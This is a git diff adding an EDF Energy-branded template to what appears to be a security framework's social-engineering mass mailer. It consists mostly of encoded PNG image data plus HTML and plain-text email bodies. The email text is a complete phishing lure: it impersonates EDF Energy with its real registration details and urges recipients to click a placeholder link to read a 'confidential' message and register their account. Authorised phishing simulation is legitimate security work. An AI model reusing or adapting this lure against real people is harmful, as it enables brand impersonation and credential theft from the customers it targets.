ztUS1iwkmDaPpj=$m#%)jCVEY4fnLGNg2A-`YwHVD3gv};>)hAvT~AmqS>Lr``i7kw zJ{5_It`yrBmlc25DBO7E8;5VoznR>Ww5hAaxn$2~(q`%A-YuS64wkBy=9dm`4cXeX z4c}I@?e+FW+b@^RDBHV(wnMq2zdX3SWv9u`%{xC-q*U}&`cyXV(%rRT*Z6MH?i+i& z_B8C(+grT%{XWUQ+f@NoP1R=AW&26{v-dx)iK^-Nmiuj8txj!m?Z*Ss1N{dh4z}01 z)YTo*JycSU)+_5r4#yw9{+;i4Ee$peRgIj+;v;ZGdF1K$3E%e~4LaI(jC-u%2h$&R z9cLXcYC@Xwnns&bn)_Q~Te?roKGD|d-g^8;+aC{{G(1^(O7m37Y1-+6)01cN&y1aw zoqc{T`P^XJqPBbIW6s}d4{z_f5Om?vMgNQEJG?v2T=KYd^0M3I6IZxbny)%vZR&LD zJpPl@Psh8QyPB@KTx+@RdcC!KX7}kEo;S|j^u2lU7XQ}Oo;f|;z4Ll+_r>@1-xl3| zawq-H%e&ckC+@AhPrP6BKT#_XdT7&;F71j}Joy zkC~6lh7E@6o;W@^IpRNZ{ptLtL(gQ-CY~4mqW;US7Zxvm_|@yz&e53Bp_lTPlfP|z zrTyx_>lv@x#=^!PzR7qqF<$gm`|ZJZ+;<)Cqu&ot2z=0000WV@Og>004R=004l4008;_004mL004C`008P>0026e000+nl3&F} z0001iNklK`P~d(-s4sA?bH7) zQ}L=`U|`rfgW>Kuyej_u`rntx@a73_6$}gv@1Fm!^}uQpbG;5Xl=CdR|#2_TeAg==$03^>S4B`k>OaK4?07*qoM6N<$f^bJ@ AivR!s literal 0 HcmV?d00001 diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/corner-br.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/corner-br.png new file mode 100644 index 0000000000000000000000000000000000000000..86dda3cdb39b579a31d0c216fe1dce9467d035c2 GIT binary patch literal 2893 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 literal 0 HcmV?d00001 diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/corner-tl.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/corner-tl.png new file mode 100644 index 0000000000000000000000000000000000000000..002941299e671a00a1422edacb02938b014d5aa1 GIT binary patch literal 2900 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 Y0RKlVx|w8LqW}N^07*qoM6N<$f(eBJ(f|Me literal 0 HcmV?d00001 diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.html b/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.html new file mode 100644 index 000000000..1b93c888f --- /dev/null +++ b/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.html @@ -0,0 +1,54 @@ + + + + +

+ + + +
+ + + + + + + + + + + +
+ + + Cityscape
+ EDFEnergy +

+ Important information regarding your account


+

+Dear __name__

You have an important message regarding your EDF Energy account.

+

As this message contains confidential information you must + click here to view the message.

+

In order to read your messages you must be registered to MyAccount which you can do using the same link.

+
+ + + +
+ + Continue to MyMessages +
+ +
+ London 2012
+   + +
+ +
+

+ EDF Energy is a trading name used by EDF Energy Customers plc. Reg. No 02228297 whose registered office is at 40 Grosvenor Place, London, SW1X 7EN, +incorporated in England and Wales. EDF Energy Customers plc. is a wholly owned subsidiary of EDF Energy plc. + The responsibility for performance of the supply obligations for all EDF Energy supply contracts rests with EDF Energy Customers plc. +

The official Emblems of the London Organising Committee of the Olympic Games
and Paralympic Games Ltd are 2007 LOCOG. All rights reserved.

\ No newline at end of file diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.plain b/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.plain new file mode 100644 index 000000000..51a03989c --- /dev/null +++ b/extensions/social_engineering/mass_mailer/templates/edfenergy/mail.plain @@ -0,0 +1,19 @@ +Important information regarding your account + +Dear __name__ + +You have an important message regarding your EDF Energy account. + +As this message contains confidential information you must click here to view the message: +__link__ + +In order to read your messages you must be registered to MyAccount which you can do using the same link: +__link__ + +EDF Energy is a trading name used by EDF Energy Customers plc. Reg. No 02228297 whose registered office +is at 40 Grosvenor Place, London, SW1X 7EN, incorporated in England and Wales. EDF Energy Customers plc. +is a wholly owned subsidiary of EDF Energy plc. The responsibility for performance of the supply obligations +for all EDF Energy supply contracts rests with EDF Energy Customers plc. + +The official Emblems of the London Organising Committee of the Olympic Games +and Paralympic Games Ltd are © 2007 LOCOG. All rights reserved. \ No newline at end of file diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/main.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/main.png new file mode 100644 index 0000000000000000000000000000000000000000..19a99bee71f2dfb9ff24800d3e0646c6207d3418 GIT binary patch literal 56684 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 